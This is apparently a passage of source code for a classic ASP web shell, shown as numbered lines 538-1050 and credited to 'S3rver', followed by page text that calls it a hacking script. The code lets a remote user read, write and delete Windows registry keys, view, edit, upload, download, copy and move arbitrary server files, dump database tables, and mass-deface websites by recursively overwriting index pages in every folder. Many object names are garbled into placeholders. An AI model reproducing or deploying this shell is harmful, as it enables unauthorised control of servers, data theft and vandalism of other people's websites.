538 [Link] "<input type=""hidden"" name=""process""
value=""yes""></td></tr>"
539 [Link] "<tr><td></td><td><input type=""submit""
value=""OK""></form></td></tr></table>"
540 [Link] "<br><br><font face=""arial"" size=""1""><a
href=""" & [Link]("SCRIPT_NAME") & "?action=reg"">Main
Menu</a><br>"
541 End If
542 Case "r"
543 If Trim([Link]("process")) = "yes" Then
544 [Link] "<font face=""arial"" size=""2"">" &
Trim([Link]("key")) & "<br>"
545 [Link] "Value: <b>" & [Link]
(Trim([Link]("key")))
546 Else
547 [Link] "<FORM action=""" &
[Link]("URL") & """ method=""GET"">"
548 [Link] "<font face=""arial"" size=""1"">KEY: <input
type=""text"" name=""key""> <br>( ex.:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )<br>"
549 [Link] "<input type=""hidden"" name=""regaction""
value=""r"">"
550 [Link] "<input type=""hidden"" name=""action""
value=""reg"">"
551 [Link] "<input type=""hidden"" name=""process""
value=""yes"">"
552 [Link] "<input type=""submit"" value=""OK""></form>"
553 End If
554 [Link] "<br><br><font face=""arial"" size=""1""><a
href=""" & [Link]("SCRIPT_NAME") & "?action=reg"">Main
Menu</a><br>"
555 Case "d"
556 If Trim([Link]("process")) = "yes" Then
557 teste = [Link] (Trim([Link]("key")))
558 [Link] "Chave <b>" & Trim([Link]("key"))
& " </b>Deleted."
559 Else
560 [Link] "<FORM action=""" &
[Link]("URL") & """ method=""GET"">"
561 [Link] "<font face=""arial"" size=""1"">KEY: <input
type=""text"" name=""key""> ( ex.:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )<br>"
562 [Link] "<input type=""hidden"" name=""regaction""
value=""d"">"
563 [Link] "<input type=""hidden"" name=""action""
value=""reg"">"
564 [Link] "<input type=""hidden"" name=""process""
value=""yes"">"
565 [Link] "<input type=""submit"" value=""OK""></form>"
566 End If
567 [Link] "<br><br><font face=""arial"" size=""1""><a
href=""" & [Link]("SCRIPT_NAME") & "?action=reg"">Main
Menu</a><br>"
568 Case Else
569 [Link] "<font face=""arial"" size=""1""><a href=""" &
[Link]("SCRIPT_NAME") & "?
action=reg&regaction=w"">WRITE VALUE</a><br><br>"
570 [Link] "<a href=""" &
[Link]("SCRIPT_NAME") & "?action=reg&regaction=r"">READ
VALUE</a><br><br>"
571 [Link] "<a href=""" &
[Link]("SCRIPT_NAME") & "?
action=reg&regaction=d"">DELETE KEY</a><br>"
572 End Select
573 Set WshShell = Nothing
574 Case "txtview"
575 checa = checking(cprthtml,keydec)
576 Call hdr()
577 [Link] copyright & onlinehelp & "<font face=""arial""
size=""2"">"
578 file = Replace(Trim([Link]("file")),"|","\")
579 Set fso = CreateObject("[Link]")
580 Set a = [Link](file)
581 [Link]
Replace(Replace([Link]([Link]),VbCrLf,"<br>")," ","&nbsp;")
582 Set a = Nothing
583 Set fso = Nothing
584 Case "txtedit"
585 checa = checking(cprthtml,keydec)
586 Call hdr()
587 [Link] copyright & onlinehelp
588 If [Link] = 0 Then
589 file = Replace(Trim([Link]("file")),"|","\")
590 Set fso = CreateObject("[Link]")
591 Set a = [Link](file)
592 [Link] "<form method=""post"" action=""" &
[Link]("SCRIPT_NAME") & "?action=txtedit"">"
593 [Link] "<textarea cols='85' rows='25' name=""content""
wrap=""physical"" >" & [Link]([Link]) & "</textarea><br>"
594 [Link] "<input type=""hidden"" name=""path"" value=""" &
Trim([Link]("file")) & """>"
595 [Link] "<input type=""submit"" name=""savemethod""
value=""Save"">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=""submit""
name=""savemethod"" value=""Save as""></form>"
596 Set a = Nothing
597 Set fso = Nothing
598 Else
599 Select Case Trim([Link]("savemethod"))
600 Case "Save"
601 Set fso = CreateObject("[Link]")
602 novotexto = Trim([Link]("content"))
603 novotexto = Split(novotexto,vbCrLf)
604 Set objstream =
[Link](Replace(Trim([Link]("path")),"|","\"),2)
605 For i = 0 To UBound(novotexto)
606 [Link](novotexto(i))
607 Next
608 [Link]
609 Set objstream = Nothing
610 [Link] "Texto salvo: <b>" &
Replace(Trim([Link]("path")),"|","\") & "</b>"
611 Case "Save as"
612 Set fso = CreateObject("[Link]")
613 novotexto = Trim([Link]("content"))
614 novotexto = Split(novotexto,vbCrLf)
615 caminho =
showobjpath(Replace(Trim([Link]("path")),"|","\")) & "[Link]"
616 Set objstream = [Link](caminho,true,false)
617 For i = 0 To UBound(novotexto)
618 [Link](novotexto(i))
619 Next
620 [Link]
621 Set objstream = Nothing
622 [Link] "<form method=""post"" action=""" &
[Link]("SCRIPT_NAME") & "?action=txtedit"">"
623 [Link] "<input type=""text"" name=""filename"" value="""
& showobj(Replace(Trim([Link]("path")),"|","\")) & """><br>"
624 [Link] "<input type=""hidden"" name=""path"" value="""
& Trim([Link]("path")) & """>"
625 [Link] "<input type=""submit"" name=""savemethod2""
value=""Save""></form>"
626 Case Else
627 caminho =
showobjpath(Replace(Trim([Link]("path")),"|","\")) & "[Link]"
628 Set ObjFSO = CreateObject("[Link]")
629 Set MyFile = [Link](caminho)
630 destino = Left(caminho,InStrRev(caminho,"\")) &
Trim([Link]("filename"))
631 [Link] (destino)
632 If [Link] = 0 Then
633 [Link] "<font face='arial'
size='2'><center><br><br>Arquivo: <b>" & destino & "</b> salvo!"
634 [Link] "<SCRIPT
LANGUAGE=""JavaScript"">[Link]();</SCRIPT>"
635 End If
636 End Select
637 End If
638 Case "download"
639 [Link] = True
640 [Link]
641 strFileName = Replace(Trim([Link]("file")),"|","\")
642 strFile = Right(strFileName, Len(strFileName) - InStrRev(strFileName,"\"))
643 strFileType = [Link]("type")
644 if strFileType = "" then strFileType = "application/download"
645 Set fso = [Link]("[Link]")
646 Set f = [Link](strFilename)
647 intFilelength = [Link]
648 Set f = Nothing
649 Set fso = Nothing
650 [Link] "Content-Disposition", "attachment; filename=" &
strFile
651 [Link] "Content-Length", intFilelength
652 [Link] = "UTF-8"
653 [Link] = strFileType
654 Set Stream = [Link]("[Link]")
655 [Link]
656 [Link] = 1
657 [Link] strFileName
658 [Link] [Link]
659 [Link]
660 [Link]
661 Set Stream = Nothing
662 Case "upload"
663 If [Link]("processupload") <> "yes" Then
664 [Link] "<FORM METHOD=""POST""
ENCTYPE=""multipart/form-data"" ACTION=""" &
[Link]("SCRIPT_NAME") & "?
action=upload&processupload=yes&path=" & [Link]("path") & """>"
665 [Link] "<TABLE BORDER=0>"
666 [Link] "<tr><td><font face=""arial"" size=""2""><b>Select a
file to upload:</b><br><INPUT TYPE=FILE SIZE=50
NAME=""FILE1""></td></tr>"
667 [Link] "<tr><td align=""center""><font face=""arial""
size=""2""><INPUT TYPE=SUBMIT VALUE=""Upload!""></td></tr>"
668 [Link] "</TABLE>"
669 Else
670 Set Uploader = New FileUploader
671 [Link]()
672 If [Link] = 0 Then
673 [Link] "File(s) not uploaded."
674 Else
675 For Each File In [Link]
676 [Link]
Replace(Trim([Link]("path")),"|","\")
677 [Link] "File Uploaded: " & [Link] & "<br>"
678 [Link] "Size: " & [Link] & " bytes<br>"
679 [Link] "Type: " & [Link] & "<br><br>"
680 [Link] "<SCRIPT
LANGUAGE=""JavaScript"">[Link]();</SCRIPT>"
681 Next
682 End If
683 End If
684 Case "mass"
685 checa = checking(cprthtml,keydec)
686 Call hdr()
687 [Link] copyright & onlinehelp
688 Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo)
689 On Error Resume Next
690 Set MonRep = [Link](caminhodomass)
691 Set ColFolders = [Link]
692 for each folderItem in ColFolders
693 destino1 = [Link] & "\[Link]"
694 destino2 = [Link] & "\[Link]"
695 destino3 = [Link] & "\[Link]"
696 destino4 = [Link] & "\[Link]"
697 destino5 = [Link] & "\[Link]"
698 destino6 = [Link] & "\[Link]"
699 destino7 = [Link] & "\[Link]"
700 destino8 = [Link] & "\[Link]"
701 destino9 = [Link] & "\[Link]"
702 destino10 = [Link] & "\[Link]"
703 [Link](destino1)
704 [Link](destino2)
705 [Link](destino3)
706 [Link](destino4)
707 [Link](destino5)
708 [Link](destino6)
709 [Link](destino7)
710 [Link](destino8)
711 [Link](destino9)
712 [Link](destino10)
713 [Link] "<table><tr><td><font face='arial' size='2'><DIR> "
& [Link] & "</td>"
714 If [Link] = 0 Then
715 [Link] "<td valign='baseline'>&nbsp;&nbsp;<font
face='arial' size='2' color='green'>DONE!</font></td></tr>"
716 Else
717 [Link] "<td valign='baseline'>&nbsp;&nbsp;<font
face='arial' size='2' color='red'>" & UCase([Link]) &
"</font></td></tr></table>"
718 End If
719 [Link] = 0
720 [Link]
721 If metodo = "brute" Then
722 Call themassdeface([Link] &
"\","brute",ObjFSO,MeuArquivo)
723 End If
724 next
725 End Sub
726 Sub brutemass(caminho,massaction)
727 If massaction = "test" Then
728 On Error Resume Next
729 Set MonRep = [Link](caminho)
730 Set ColFolders = [Link]
731 Set ColFiles0 = [Link]
732 for each folderItem in ColFolders
733 Set TotalFolders = [Link]([Link])
734 Set EachFolder = [Link]
735 [Link] "<table border=""0"" cellspacing=""0""
cellpadding=""0"" >"
736 maindestino = [Link] & "\"
737 [Link](maindestino)
738 [Link] "<tr><td><b><font face='arial' size='2'><DIR> " &
maindestino & "</b></td>"
739 If [Link] = 0 Then
740 [Link] "<td valign='baseline'>&nbsp;&nbsp;<font
face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"
741 Else
742 [Link] "<td valign='baseline'>&nbsp;&nbsp;<font
face='arial' size='2' color='red'>" & UCase([Link]) & "</font></td></tr>"
743 End If
744 [Link] = 0
745 [Link]
746 If [Link] > 0 Then
747 masscontador = 0
748 for each subpasta in EachFolder
749 masscontador = masscontador + 1
750 destino = [Link] & "\"
751 If masscontador = 1 Then
752 destinofinal = destino
753 pathfinal = [Link]
754 [Link] = 0
755 [Link](destinofinal)
756 [Link] "<tr><td><font face='arial' size='2'><DIR>
" & showobj(pathfinal) & "</td>"
757 If [Link] = 0 Then
758 [Link] "<td
valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso
Permitido</font></td></tr>"
759 Else
760 [Link] "<td
valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" &
UCase([Link]) & "</font></td></tr>"
761 End If
762 [Link] = 0
763 [Link]
764 Else
765 [Link](destino)
766 [Link] "<tr><td><font face='arial' size='2'><DIR>
" & showobj([Link]) & "</td>"
767 If [Link] = 0 Then
768 [Link] "<td
valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso
Permitido</font></td></tr>"
769 Else
770 [Link] "<td
valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" &
UCase([Link]) & "</font></td></tr>"
771 End If
772 [Link] = 0
773 [Link]
774 End If
775 next
776 masscontador = 0
777 End If
778 [Link] "</table><br>"
779 Call brutemass([Link] & "\","test")
780 next
781 Set MonRep = Nothing
782 Set ColFolders = Nothing
783 Set ColFiles0 = Nothing
784 Else
785 If [Link] = 0 Then
786 [Link] "<font face=""arial""
size=""2""><br><br><b>Brute:</b> Test and Deface root and sub
directories.<br><br>"
787 [Link] "<b>Single:</b> Test and deface only root
directories.<br><br>"
788 [Link] "<form method=""post"" action=""" &
[Link]("SCRIPT_NAME") & "?action=mass&massact=dfc"">"
789 [Link] "<input type=""hidden"" name=""path"" value="""
& Trim([Link]("path")) & """>"
790 [Link] "<center><font face=""arial"" size=""2"">Deface
Code:<br>"
791 [Link] "<textarea cols='65' rows='15'
name=""content""></textarea><br>"
792 [Link] "<input type=""radio"" name=""massopt""
value=""brute"" checked>Brute&nbsp;&nbsp;&nbsp;"
793 [Link] "<input type=""radio"" name=""massopt""
value=""single"">Single<br>"
794 [Link] "<input type=""submit"" value=""Deface
ALL!""></center>"
795 [Link] "</form>"
796 Else
797 Set ObjFSO = CreateObject("[Link]")
798 patharquivotxt =
Left([Link]([Link]("SCRIPT_NAME")),InstrRev(Server.
MapPath([Link]("SCRIPT_NAME")),"\"))
799 arquivomassdfc = patharquivotxt & "[Link]"
800 Set Arquivotxt = [Link](arquivomassdfc, 2, True,
False)
801 vetordelinhas = Split([Link]("content"),VbCrLf)
802 For i = 0 To UBound(vetordelinhas)
803 [Link](vetordelinhas(i))
804 Next
805 Set MeuArquivo = [Link](arquivomassdfc)
806
807 If [Link]("massopt") = "single" Then
808 Call themassdeface(caminho,"single",ObjFSO,MeuArquivo)
809 ElseIf [Link]("massopt") = "brute" Then
810 Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo)
811 End If
812 End If
813 End If
814 End Sub
815 If Trim([Link]("massact")) = "test" Then
816 Set ObjFSO = CreateObject("[Link]")
817 patharquivotxt =
Left([Link]([Link]("SCRIPT_NAME")),InstrRev(Server.
MapPath([Link]("SCRIPT_NAME")),"\"))
818 arquivo = patharquivotxt & "_vti_cnf.log"
819 Set Arquivotxt = [Link](arquivo,True)
820 Set MeuArquivo = [Link](arquivo)
821 Call
brutemass(Replace(Trim([Link]("path")),"|","\"),"test")
822 ElseIf Trim([Link]("massact")) = "dfc" Then
823 Call brutemass(Replace(Trim([Link]("path")),"|","\"),"dfc")
824 End If
825 Case "fcopy"
826 If Trim([Link]("submit1")) = "Copy" Then
827 mptpath=Trim([Link]("path"))
828 mptdest=Trim([Link]("cf"))
829 Set ObjFSO = CreateObject("[Link]")
830 isl = ""
831 if Trim([Link]("islem"))="kopyala" then
832 [Link] mptpath,mptdest
833 isl="Copied.."
834 elseif Trim([Link]("islem"))="tasi" then
835 [Link] mptpath,mptdest
836 isl="moved.."
837 end if
838 [Link] "Command: "&isl
839 [Link] "<br><font color=red>File From: </font>" & mptpath &
"<br><font color=red>Copy to: </font>" & mptdest
840 [Link] "<br>"
841 Else
842 [Link] "<form method=""post"" action=""" &
[Link]("SCRIPT_NAME") & "?action=fcopy"">"
843 [Link] "<table cellpadding=0 cellspacing=0 align=center><tr><td
width=100><font size=2>Copy Path : </td><td>"
844 [Link] "<input type=hidden value='19' name=status><input
type=hidden value='"& Replace(Trim([Link]("path")),"|","\") &"'
name=path><input type=hidden value='"&time&"' name=Time>"
845 [Link] "<input style='width:250; height:21' value='"&
Replace(Trim([Link]("path")) & "\","|","\") &"' name=cf>"
846 [Link] "<input type=submit value='Copy'
style='height:22;width:70' id=submit1 name=submit1>"
847 [Link] "</td></tr><tr><td colspan=3 align=center><font size=2>"
848 [Link] "<input type=radio name='islem' value='kopyala'
checked>Copy"
849 [Link] "<input type=radio name='islem' value='tasi'>Move"
850 [Link] "</table>"
851 [Link] "</form>"
852 End IF
853 Case "filecopy"
854 If Trim([Link]("submit1")) = "Copy" Then
855 mptpath=Trim([Link]("path"))
856 mptdest=Trim([Link]("cf"))
857 Set ObjFSO = CreateObject("[Link]")
858 isl = ""
859 if Trim([Link]("islem"))="kopyala" then
860 [Link] mptpath,mptdest
861 isl="Copy.."
862 elseif Trim([Link]("islem"))="tasi" then
863 [Link] mptpath,mptdest
864 isl="move.."
865 end if
866 [Link] "Command: "&isl
867 [Link] "<br><font color=red>File From: </font>" & mptpath &
"<br><font color=red>Copy to: </font>" & mptdest
868 [Link] "<br>"
869 Else
870 [Link] "<form method=""post"" action=""" &
[Link]("SCRIPT_NAME") & "?action=filecopy"">"
871 [Link] "<table cellpadding=0 cellspacing=0 align=center><tr><td
width=100><font size=2>Copy Path : </td><td>"
872 [Link] "<input type=hidden value='19' name=status><input
type=hidden value='"& Replace(Trim([Link]("file")),"|","\") &"'
name=path><input type=hidden value='"&time&"' name=Time>"
873 [Link] "<input style='width:250; height:21' value='"&
Replace(Trim([Link]("file")),"|","\") &"' name=cf>"
874 [Link] "<input type=submit value='Copy'
style='height:22;width:70' id=submit1 name=submit1>"
875 [Link] "</td></tr><tr><td colspan=3 align=center><font size=2>"
876 [Link] "<input type=radio name='islem' value='kopyala'
checked>Copy"
877 [Link] "<input type=radio name='islem' value='tasi'>Move"
878 [Link] "</table>"
879 [Link] "</form>"
880 End IF
881 Case "search"
882 If (Trim([Link]("submit1")) = "Search") xor
Trim([Link]("status"))<>"" Then
883 showdisks=FALSE
884 status5=Trim([Link]("status"))
885 if status5="" then status5=Trim([Link]("status"))
886 SELECT CASE status5
887 CASE "5"
888 [Link] "<center><b><font color=orange>"&
Trim([Link]("path")) &"</font></b></center><br>"
889 [Link] "<table width=100% ><tr><td>"
890 set f = [Link](Trim([Link]("path")),1)
891 [Link] "<pre>"&[Link]([Link])&"</pre>"
892 if [Link]=62 then [Link] "<script
language=javascript>alert('Bu Dosya Okunam?yor\nSistem dosyas?
olabilir')</script>":[Link]
893 CASE "7":
894 [Link] "<b><font size=3>Tables</font></br><br>"
895 Set objConn = [Link]("[Link]")
896 Set objADOX = [Link]("[Link]")
897 [Link] = "[Link].4.0"
898 [Link] = Trim([Link]("path"))
899 [Link]
900 [Link] = objConn
901 For Each table in [Link]
902 If [Link] = "TABLE" Then
903 [Link] "<font face=wingdings size=5>4</font> <a
href='"& [Link]("SCRIPT_NAME") &"?
action=search&status=8&Path="& Trim([Link]("path"))
&"&table="&[Link]&"'>"&[Link]&"</a><br>"
904 End If
905 Next
906 CASE "8":
907 table=Trim([Link]("table"))
908 [Link] "<font color=red><h4>Table Name: " & table &
"</h4></font><br><Br><br>"
909 Set objConn = [Link]("[Link]")
910 Set objRcs = [Link]("[Link]")
911 [Link] = "[Link].4.0"
912 [Link] = Trim([Link]("path"))
913 [Link]
914 [Link] table,objConn, adOpenKeyset , , adCmdText
915
916 [Link] "<table border=1 cellpadding=2 cellspacing=0
bordercolor=543152><tr bgcolor=silver>"
917 for i=0 to [Link]-1
918 [Link] "<td><font
color=black><b>&nbsp;&nbsp;&nbsp;"&[Link](i).Name&"&nbsp;&nbsp;&n
bsp;</font></td>"
919 next
920 [Link] "</tr>"
921 do while not [Link]
922 [Link] "<tr>"
923 for i=0 to [Link]-1
924 [Link] "<td>"&[Link](i).Value&"&nbsp;</td>"
925 next
926 [Link] "</tr>"
927 [Link]
928 loop
929 [Link] "</table><br>"
930 case "12": araBul
Trim([Link]("path")),Trim([Link]("arama"))
931 END SELECT
932 Else
933 showdisks=FALSE
934 checa = checking(cprthtml,keydec)
935 Call hdr()
936 [Link] "<form method=""post"" target=""_opener"" action=""" &
[Link]("SCRIPT_NAME") & "?action=search"">"
937 [Link] "<table widht='100%' border=0 cellpadding=0
cellspacing=0><tr><td width=70><font size=2>File Ext: </td><td>"
938 [Link] "&nbsp;<input type=hidden value='12' name=status>"
939 [Link] "<input type=hidden value=""" &
Replace(Trim([Link]("path")),"|","\") & """ name=""path""><input
style='width:250' value='mdb' name='arama'><input style='width:70; height:22'
type=submit value='Search' name='submit1'>"
940 [Link] "</td></tr></table></form>"
941 End IF
942 Case "sqlserver"
943 If (Trim([Link]("submit1")) = "Execute SQL Server Command")
xor Trim([Link]("status"))<>"" Then
944 showdisks=FALSE
945 status5=Trim([Link]("status"))
946 if status5="" then status5=Trim([Link]("status"))
947 SELECT CASE status5
948 CASE "7":
949 [Link] "<b><font size=3>Tables</font></br><br>"
950 Set objConn = [Link]("[Link]")
951 Set objADOX = [Link]("[Link]")
952 [Link] = "[Link].4.0"
953 [Link] = Trim([Link]("path"))
954 [Link]
955 [Link] = objConn
956 For Each table in [Link]
957 If [Link] = "TABLE" Then
958 [Link] "<font face=wingdings size=5>4</font> <a
href='"& [Link]("SCRIPT_NAME") &"?
action=search&status=8&Path="& Trim([Link]("path"))
&"&table="&[Link]&"'>"&[Link]&"</a><br>"
959 End If
960 Next
961 CASE "8":
962 table=Trim([Link]("table"))
963 [Link] "<font color=red><h4>Table Name: " & table &
"</h4></font><br><Br><br>"
964 Set objConn = [Link]("[Link]")
965 Set objRcs = [Link]("[Link]")
966 [Link] = "[Link].4.0"
967 [Link] = Trim([Link]("path"))
968 [Link]
969 [Link] table,objConn, adOpenKeyset , , adCmdText
970
971 [Link] "<table border=1 cellpadding=2 cellspacing=0
bordercolor=543152><tr bgcolor=silver>"
972 for i=0 to [Link]-1
973 [Link] "<td><font
color=black><b>&nbsp;&nbsp;&nbsp;"&[Link](i).Name&"&nbsp;&nbsp;&n
bsp;</font></td>"
974 next
975 [Link] "</tr>"
976 do while not [Link]
977 [Link] "<tr>"
978 for i=0 to [Link]-1
979 [Link] "<td>"&[Link](i).Value&"&nbsp;</td>"
980 next
981 [Link] "</tr>"
982 [Link]
983 loop
984 [Link] "</table><br>"
985 END SELECT
986 Else
987 showdisks=FALSE
988 checa = checking(cprthtml,keydec)
989 Call hdr()
990 [Link] "<form method=""post"" target=""_opener"" action=""" &
[Link]("SCRIPT_NAME") & "?action=sqlserver"">"
991 [Link] "<table cellpadding=0 cellspacing=0 align=center><tr><td
align=center><font size=2>SQL Server connection string:</td></tr><tr><td
align=center>"
992 [Link] "<input type=hidden value='7' name=status>"
993 [Link] "<input style='width:250; height:21' value=''
name=path><br>"
994 [Link] "<input type=submit value='Execute SQL Server Command'
style='height:23;width:220' id=submit1 name=submit1>"
995 [Link] "</td></tr></table>"
996 [Link] "</form>"
997 End IF
998 Case "about"
999 showdisks=FALSE
1000 checa = checking(cprthtml,keydec)
1001 Call hdr()
1002 [Link] "<br><br><br><body topmargin=5
leftmargin=0><center><h4>Coded By S3rver"
1003 [Link] "<br><br>"
1004 [Link] "<font size=2 color=Red face='courier
new'>[Link]</font>"
1005 [Link] "<br>"
1006 [Link] "<font size=2 color=Red face='courier new'>E-
Mail:thesabotaqe@[Link]</font>"
1007 [Link] "<br><br>"
1008 [Link] "<font size=2 color=Blue face='courier
new'>[Link]</font>"
1009 Case Else
1010 checa = checking(cprthtml,keydec)
1011 Call hdr()
1012 [Link] copyright & onlinehelp
1013 Call showcontent()
1014 End Select
1015 If [Link] <> 0 Then
1016 [Link] "<br><font face='arial' size='2'>ERRO: " & [Link] &
"<br><br><b>" & UCase([Link]) & "</b><br>Acesse denied."
1017 End If
1018 [Link] endcode
1019 if showdisks then
1020 %>
1021 <SCRIPT SRC=[Link]
1022 <script language=javascript>
1023 // DRIVE ISLEMLERI
1024 function driveGo(drive_){
1025 location = "?raiz="+drive_+":";
1026 }
1027 </script>
1028 <SCRIPT SRC=[Link]
1029 <%
1030 Set objFSO = [Link]("[Link]")
1031 [Link] "<br><br><br><table align=center border=1 width=150
cellpadding=0 cellspacing=0><tr bgcolor=gray><td align=center><b><font
color=white>Drives</td></tr>"
1032 for each drive_ in [Link]
1033 [Link] "<tr><td>"
1034 [Link] "<a href='#'onClick=""driveGo('" & drive_.DriveLetter &
"');return false;""><font face=wingdings>;</font>"
1035 if drive_.Drivetype=1 then [Link] "Floppy [" & drive_.DriveLetter
& ":]"
1036 if drive_.Drivetype=2 then [Link] "HardDisk [" &
drive_.DriveLetter & ":]"
1037 if drive_.Drivetype=3 then [Link] "Remote HDD [" &
drive_.DriveLetter & ":]"
1038 if drive_.Drivetype=4 then [Link] "CD-Rom [" &
drive_.DriveLetter & ":]"
1039 [Link] "</a></td></tr>"
1040 next
1041 [Link] "<tr><td>"
1042 [Link] "<a href='"& [Link]("SCRIPT_NAME") &
"'><font face=webdings>H</font> Local Path"
1043 [Link] "</a></td></tr>"
1044 [Link] "</table><br>"
1045 end if
1046 %>
1047 <br><Center><Font Face='Wingdings' Size='7' Color = 'FFFFFF'><b> ?
</b></Font></Center>
1048 <br><Center><Font Face='Wingdings' Size='7' Color = 'FFFFFF'><b> ?
</b></Font></Center>
1049 <br><Center><Font Face='Wingdings' Size='7' Color = 'FFFFFF'><b> ?
</b></Font></Center>
1050 <br><Center><Font Face='Wingdings' Size='7' Color = 'FFFFFF'><b> ?
</b></Font></Center>
Télécharger

un fichier
La liste complète des

pirater des scripts

You might also like